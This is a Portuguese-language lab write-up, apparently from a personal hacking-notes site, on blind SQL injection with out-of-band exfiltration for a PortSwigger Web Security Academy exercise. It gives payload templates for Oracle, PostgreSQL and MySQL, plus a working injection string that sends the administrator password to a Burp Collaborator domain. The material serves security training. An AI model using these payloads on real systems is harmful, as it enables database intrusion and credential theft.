> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/sql-injection/sql-injection-data-exfiltration-via-oob-channel.md).

# Exfiltração de Dados por Injeção SQL via String OOB

Notas sobre Exfiltração de Dados por Injeção SQL via String OOB para laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payloads, validação no Burp Suite e contexto de remediação.

### Injeção SQL cega com exfiltração de dados fora da banda

Este laboratório contém uma vulnerabilidade de injeção SQL cega. O aplicativo usa um cookie de rastreamento para a análise e executa uma consulta SQL contendo o valor do cookie enviado. / A consulta SQL é executada de forma assíncrona e não afeta a resposta do aplicativo. No entanto, é possível acionar interações fora da banda com um domínio externo. / O banco de dados contém uma tabela separada chamada `users`, com `nome de usuário` e `senha` colunas. Você precisa explorar a vulnerabilidade de SQL cega para descobrir a `administrator` senha do usuário.

* Oracle

{% code overflow="wrap" %}

```sql
SELECT EXTRACTVALUE(
  xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),
  '/l')
FROM dual
```

{% endcode %}

* PostgresSQL

```sql
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();
```

* Mysql

```sql
SELECT YOUR-QUERY-HERE INTO OUTFILE '////BURP-COLLABORATOR-SUBDOMAIN/a'
```

Recuperar a senha do administrador (`SELECT password FROM users WHERE username = 'administrator'`)

{% code overflow="wrap" %}

```sql
' union SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY %25 remote SYSTEM "http://'||(select password from users where username='administrator')||'.qnhdkeii23lhv8cats06caltuk0bo8cx.oastify.com/"> %25remote%3b]>'),'/l') FROM dual-- -
```

{% endcode %}


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